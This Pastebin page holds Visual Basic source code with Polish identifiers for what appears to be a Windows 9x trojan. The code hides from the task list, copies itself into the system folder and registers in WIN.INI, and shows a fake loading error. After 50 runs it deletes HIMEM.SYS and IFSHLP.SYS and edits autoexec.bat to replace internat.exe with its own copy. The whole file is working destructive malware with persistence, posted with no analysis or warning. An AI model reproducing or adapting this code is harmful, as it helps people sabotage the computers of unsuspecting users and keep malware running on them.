Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Option Explicit
- Dim KatalogWindows As String
- Dim DlugoscKataloguWindows As Integer
- Dim KatalogSystem As String
- Dim DlugoscKataloguSystem As Integer
- Dim Dysk As String
- Dim LiczbaUruchomien As Integer
- Dim StrLiczbaUruchomien As String
- Dim Temp As String * 255
- Dim Temp2 As String
- Dim AutoexecBat As New Collection
- Public Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
- Public Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
- Public Declare Function WriteINIString Lib "kernel32" Alias "WritePrivateProfileStringA" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpString As Any, ByVal lpFileName As String) As Long
- Public Declare Function DeleteFile Lib "kernel32" Alias "DeleteFileA" (ByVal lpFileName As String) As Long
- Public Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long
- Sub Main()
- App.TaskVisible = False
- DlugoscKataloguWindows = GetWindowsDirectory(Temp, 255)
- KatalogWindows = Left$(Temp, DlugoscKataloguWindows)
- If Right$(KatalogWindows, 1) = "\" Then
- KatalogWindows = Left$(KatalogWindows, Len(KatalogWindows) - 1)
- End If
- DlugoscKataloguSystem = GetSystemDirectory(Temp, 255)
- KatalogSystem = Left$(Temp, DlugoscKataloguSystem)
- If Right$(KatalogSystem, 1) = "\" Then
- KatalogSystem = Left$(KatalogSystem, Len(KatalogSystem) - 1)
- End If
- Dysk = Left$(KatalogWindows, 1)
- If App.EXEName = "INTERNAT" And Val(GetSetting("Rax", "General", "Clean Up State", 0)) = 0 Then
- KopiujDoSystemu
- SaveSetting "Rax", "General", "Clean Up State", 1
- End
- ElseIf Val(GetSetting("Rax", "General", "Clean Up State", 0)) = 1 Then
- PosprzatajPoSobie
- SaveSetting "Rax", "General", "Clean Up State", 2
- End
- End If
- If Val(GetSetting("Rax", "General", "First Start", 1)) = 1 Then
- KopiujDoSystemu
- MsgBox "Error while loading " & App.EXEName & ".EXE.", vbOKOnly + vbCritical + vbSystemModal, "Error"
- End
- End If
- LiczbaUruchomien = Val(GetSetting("Rax", "General", "Runs", 0))
- If LiczbaUruchomien >= 50 Then
- Dzialaj
- Else
- LiczbaUruchomien = LiczbaUruchomien + 1
- StrLiczbaUruchomien = Str(LiczbaUruchomien)
- SaveSetting "Rax", "General", "Runs", LiczbaUruchomien
- End If
- End
- End Sub
- Sub KopiujDoSystemu()
- Dim load As String
- load = KatalogSystem & "\REXEC.EXE" & vbNullChar
- CopyFile App.Path & "\" & App.EXEName & ".EXE", KatalogSystem & "\REXEC.EXE", 0
- WriteINIString "windows", "load", load, KatalogWindows & "\WIN.INI"
- SaveSetting "Rax", "General", "First Start", 0
- End Sub
- Sub Dzialaj()
- CopyFile App.Path & "\" & App.EXEName & ".EXE", Dysk & ":\rapp.exe", 0
- StworzBAT
- ZapiszDoAutoexecBat
- '----
- DeleteFile KatalogWindows & "\HIMEM.SYS"
- DeleteFile KatalogWindows & "\COMMAND\EBD\HIMEM.SYS"
- DeleteFile KatalogWindows & "\IFSHLP.SYS"
- End Sub
- Sub StworzBAT()
- Open Dysk & ":\autoexec.bat" For Append As #1
- Print #1, Chr(10) & "@call " & Dysk & ":\rbat" & Dysk & ".bat"
- Close #1
- Open Dysk & ":\rbat" & Dysk & ".bat" For Output As #1
- Print #1, "@if exist " & Dysk & ":\windows\win.com goto Windows"
- Print #1, "@if exist " & Dysk & ":\win95\win.com goto Win95"
- Print #1, "@if exist " & Dysk & ":\win98\win.com goto Win98"
- Print #1, "@if exist " & Dysk & ":\win2000\win.com goto Win2000"
- Print #1, "@if exist " & Dysk & ":\winme\win.com goto WinMe"
- Print #1, "@if exist " & Dysk & ":\winnt\win.com goto WinNT"
- Print #1, "@if exist " & Dysk & ":\win_95\win.com goto Win_95"
- Print #1, "@if exist " & Dysk & ":\win_98\win.com goto Win_98"
- Print #1, "@if exist " & Dysk & ":\win_2000\win.com goto Win_2000"
- Print #1, "@if exist " & Dysk & ":\win_me\win.com goto Win_Me"
- Print #1, "@if exist " & Dysk & ":\win_nt\win.com goto Win_NT"
- Print #1, "goto End" & Chr(10)
- Print #1, ":Windows"
- Print #1, "@copy " & Dysk & ":\windows\internat.exe " & Dysk & ":\windows\internat.bak"
- Print #1, "@del " & Dysk & ":\windows\internat.exe"
- Print #1, "@copy " & Dysk & ":\rapp.exe c:\windows\internat.exe" & Chr(10)
- Print #1, ":Win95"
- Print #1, "@copy " & Dysk & ":\win95\internat.exe " & Dysk & ":\win95\internat.bak"
- Print #1, "@del " & Dysk & ":\win95\internat.exe"
- Print #1, "@copy " & Dysk & ":\rapp.exe " & Dysk & ":\win95\internat.exe"
- Print #1, ":Win98"
- Print #1, "@copy " & Dysk & ":\win98\internat.exe " & Dysk & ":\win98\internat.bak"
- Print #1, "@del " & Dysk & ":\win98\internat.exe"
- Print #1, "@copy " & Dysk & ":\rapp.exe " & Dysk & ":\win98\internat.exe"
- Print #1, ":Win2000"
- Print #1, "@copy " & Dysk & ":\win2000\internat.exe " & Dysk & ":\win2000\internat.bak"
- Print #1, "@del " & Dysk & ":\win2000\internat.exe"
- Print #1, "@copy " & Dysk & ":\rapp.exe " & Dysk & ":\win2000\internat.exe"
- Print #1, ":WinMe"
- Print #1, "@copy " & Dysk & ":\winme\internat.exe " & Dysk & ":\winme\internat.bak"
- Print #1, "@del " & Dysk & ":\winme\internat.exe"
- Print #1, "@copy " & Dysk & ":\rapp.exe " & Dysk & ":\winme\internat.exe"
- Print #1, ":WinNT"
- Print #1, "@copy " & Dysk & ":\winnt\internat.exe " & Dysk & ":\winnt\internat.bak"
- Print #1, "@del " & Dysk & ":\winnt\internat.exe"
- Print #1, "@copy " & Dysk & ":\rapp.exe " & Dysk & ":\winnt\internat.exe"
- Print #1, ":Win_95"
- Print #1, "@copy " & Dysk & ":\win_95\internat.exe " & Dysk & ":\win_95\internat.bak"
- Print #1, "@del " & Dysk & ":\win_95\internat.exe"
- Print #1, "@copy " & Dysk & ":\rapp.exe " & Dysk & ":\win_95\internat.exe"
- Print #1, ":Win_98"
- Print #1, "@copy " & Dysk & ":\win_98\internat.exe " & Dysk & ":\win_98\internat.bak"
- Print #1, "@del " & Dysk & ":\win_98\internat.exe"
- Print #1, "@copy " & Dysk & ":\rapp.exe " & Dysk & ":\win_98\internat.exe"
- Print #1, ":Win_2000"
- Print #1, "@copy " & Dysk & ":\win_2000\internat.exe " & Dysk & ":\win_2000\internat.bak"
- Print #1, "@del " & Dysk & ":\win_2000\internat.exe"
- Print #1, "@copy " & Dysk & ":\rapp.exe " & Dysk & ":\win_2000\internat.exe"
- Print #1, ":Win_Me"
- Print #1, "@copy " & Dysk & ":\win_me\internat.exe " & Dysk & ":\win_me\internat.bak"
- Print #1, "@del " & Dysk & ":\win_me\internat.exe"
- Print #1, "@copy " & Dysk & ":\rapp.exe " & Dysk & ":\win_me\internat.exe"
- Print #1, ":Win_NT"
- Print #1, "@copy " & Dysk & ":\win_nt\internat.exe " & Dysk & ":\win_nt\internat.bak"
- Print #1, "@del " & Dysk & ":\win_nt\internat.exe"
- Print #1, "@copy " & Dysk & ":\rapp.exe " & Dysk & ":\win_nt\internat.exe"
- Print #1, ":End"
- Close #1
- End Sub
- Sub PosprzatajPoSobie()
- Dim i As Integer
- CopyFile KatalogWindows & "\INTERNAT.BAK", KatalogWindows & "\INTERNAT.EXE", 0
- DeleteFile Dysk & ":\rbat" & Dysk & ".bat"
- DeleteFile Dysk & ":\rapp.exe"
- Open Dysk & ":\autoexec.bat" For Input As #1
- Do Until EOF(1)
- Input #1, Temp
- If Temp <> "@call " & Dysk & ":\rbat" & Dysk & ".bat" Then
- AutoexecBat.Add Temp
- End If
- Loop
- Close #1
- Open Dysk & ":\autoexec.bat" For Output As #1
- For i = 0 To AutoexecBat.Count - 1 Step 1
- Print #1, AutoexecBat.Item(i)
- Next i
- Close #1
- End Sub
- Sub ZapiszDoAutoexecBat()
- Open Dysk & ":\autoexec.bat" For Input As #1
- Do Until EOF(1)
- Input #1, Temp
- If Temp = "@call " & Dysk & ":\rbat" & Dysk & ".bat" Then
- Exit Sub
- End If
- Loop
- Close #1
- Open Dysk & ":\autoexec.bat" For Append As #1
- Print #1, Chr(10) & "@call " & Dysk & ":\rbat" & Dysk & ".bat"
- Close #1
- End Sub
Advertisement
Add Comment
Please, Sign In to add comment